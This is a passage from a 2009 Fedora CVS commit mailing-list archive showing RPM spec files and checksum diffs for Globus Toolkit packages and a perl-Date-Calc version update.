Requires:	globus-gssapi-gsi-devel%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - Globus authz library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz library Documentation Files

%prep
%setup -q -n %{_name}-%{version}

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-0_7-1_fc11:EL-4:globus-authz-0.7-1.fc11.src.rpm:1255952746


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:48:29 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:46:07 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz-0.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:48:29 -0000	1.1
+++ sources	19 Oct 2009 11:46:07 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+1a8545fe6c39b92ea1f15a4d65a2104d  globus_authz-0.7.tar.gz



From mmaslano at fedoraproject.org  Mon Oct 19 11:46:30 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 11:46:30 +0000 (UTC)
Subject: rpms/perl-Date-Calc/devel .cvsignore, 1.5, 1.6 perl-Date-Calc.spec, 
	1.27, 1.28 sources, 1.5, 1.6
Message-ID: <20091019114630.D1B6411C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-Date-Calc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30770

Modified Files:
	.cvsignore perl-Date-Calc.spec sources 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 6.2-1
- new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Date-Calc/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	4 Aug 2009 21:21:49 -0000	1.5
+++ .cvsignore	19 Oct 2009 11:46:30 -0000	1.6
@@ -1 +1 @@
-Date-Calc-5.6.tar.gz
+Date-Calc-6.2.tar.gz


Index: perl-Date-Calc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Date-Calc/devel/perl-Date-Calc.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- perl-Date-Calc.spec	4 Aug 2009 21:21:49 -0000	1.27
+++ perl-Date-Calc.spec	19 Oct 2009 11:46:30 -0000	1.28
@@ -1,5 +1,5 @@
 Name:           perl-Date-Calc
-Version:        5.6
+Version:        6.2
 Release:        1%{?dist}
 Summary:        A module for extended and efficient date calculations in Perl
 
@@ -10,9 +10,9 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  perl(ExtUtils::MakeMaker)
-BuildRequires:	perl(Carp::Clan) >= 5.3
-BuildRequires:  perl(Bit::Vector) >= 6.6
-Requires:       perl(Bit::Vector) >= 6.6
+BuildRequires:	perl(Carp::Clan) >= 6.3
+BuildRequires:  perl(Bit::Vector) >= 7.1
+Requires:       perl(Bit::Vector) >= 7.1
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -50,16 +50,11 @@ find $RPM_BUILD_ROOT -type d -depth -exe
 chmod -R u+w $RPM_BUILD_ROOT/*
 
 for file in $RPM_BUILD_ROOT%{_mandir}/man3/Date::Calc.3pm \
-            EXAMPLES.txt \
             CREDITS.txt; do
   iconv -f iso-8859-1 -t utf-8 < "$file" > "${file}_"
   mv -f "${file}_" "$file"
 done
 
-rm tools/compile.bat
-chmod 644 examples/* tools/*
-
-
 %check
 make test
 
@@ -70,15 +65,16 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc Artistic.txt GNU_GPL.txt GNU_LGPL.txt
+%doc license/Artistic.txt license/GNU_GPL.txt license/GNU_LGPL.txt
 %doc CHANGES.txt CREDITS.txt README.txt
-%doc EXAMPLES.txt examples/ TOOLS.txt tools/
-%{perl_vendorarch}/Date/
-%{perl_vendorarch}/auto/Date/
+%{perl_vendorlib}/Date/
 %{_mandir}/man3/*.3*
 
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 6.2-1
+- new upstream version
+
 * Tue Aug  4 2009 Stepan Kasal <skasal at redhat.com> - 5.6-1
 - new upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Date-Calc/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	4 Aug 2009 21:21:50 -0000	1.5
+++ sources	19 Oct 2009 11:46:30 -0000	1.6
@@ -1 +1 @@
-93c011570dfe9175bd01d6a454ed61f2  Date-Calc-5.6.tar.gz
+30dcf4c06c5d35466ee2b9956d2c4b4c  Date-Calc-6.2.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:49:26 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:49:26 +0000 (UTC)
Subject: rpms/globus-data-conversion/devel globus-data-conversion.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019114926.C63B411C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-data-conversion/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31662/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-data-conversion.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-data-conversion.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-data-conversion
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Data Conversion

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/data_conversion/source globus_data_conversion-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_data_conversion-2.1
#		tar -zcf globus_data_conversion-2.1.tar.gz globus_data_conversion-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Data Conversion Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Data Conversion

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Data Conversion Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-data-conversion-2_1-1_fc11:HEAD:globus-data-conversion-2.1-1.fc11.src.rpm:1255952946


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:43:20 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:49:26 -0000	1.2
@@ -0,0 +1 @@
+globus_data_conversion-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:43:21 -0000	1.1
+++ sources	19 Oct 2009 11:49:26 -0000	1.2
@@ -0,0 +1 @@
+95488e1b7276a97b045d7f8a8de26f69  globus_data_conversion-2.1.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:50:36 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:50:36 +0000 (UTC)
Subject: rpms/globus-data-conversion/F-12 globus-data-conversion.spec, NONE, 
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019115036.6213A11C02A4@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-data-conversion/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32022/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-data-conversion.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-data-conversion.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-data-conversion
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Data Conversion

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/data_conversion/source globus_data_conversion-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_data_conversion-2.1
#		tar -zcf globus_data_conversion-2.1.tar.gz globus_data_conversion-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Data Conversion Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Data Conversion

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Data Conversion Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-data-conversion-2_1-1_fc11:F-12:globus-data-conversion-2.1-1.fc11.src.rpm:1255953017


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:43:20 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:50:36 -0000	1.2
@@ -0,0 +1 @@
+globus_data_conversion-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:43:21 -0000	1.1
+++ sources	19 Oct 2009 11:50:36 -0000	1.2
@@ -0,0 +1 @@
+95488e1b7276a97b045d7f8a8de26f69  globus_data_conversion-2.1.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:51:25 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:51:25 +0000 (UTC)
Subject: rpms/globus-data-conversion/F-11 globus-data-conversion.spec, NONE, 
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019115125.0F58D11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-data-conversion/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32363/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-data-conversion.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-data-conversion.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-data-conversion
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Data Conversion

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/data_conversion/source globus_data_conversion-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_data_conversion-2.1
#		tar -zcf globus_data_conversion-2.1.tar.gz globus_data_conversion-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Data Conversion Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Data Conversion

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Data Conversion Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-data-conversion-2_1-1_fc11:F-11:globus-data-conversion-2.1-1.fc11.src.rpm:1255953067


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:43:20 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:51:24 -0000	1.2
@@ -0,0 +1 @@
+globus_data_conversion-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:43:21 -0000	1.1
+++ sources	19 Oct 2009 11:51:24 -0000	1.2
@@ -0,0 +1 @@
+95488e1b7276a97b045d7f8a8de26f69  globus_data_conversion-2.1.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:52:33 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:52:33 +0000 (UTC)
Subject: rpms/globus-data-conversion/EL-5 globus-data-conversion.spec, NONE, 
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019115233.9A94C11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-data-conversion/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv611/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-data-conversion.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-data-conversion.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-data-conversion
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Data Conversion

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
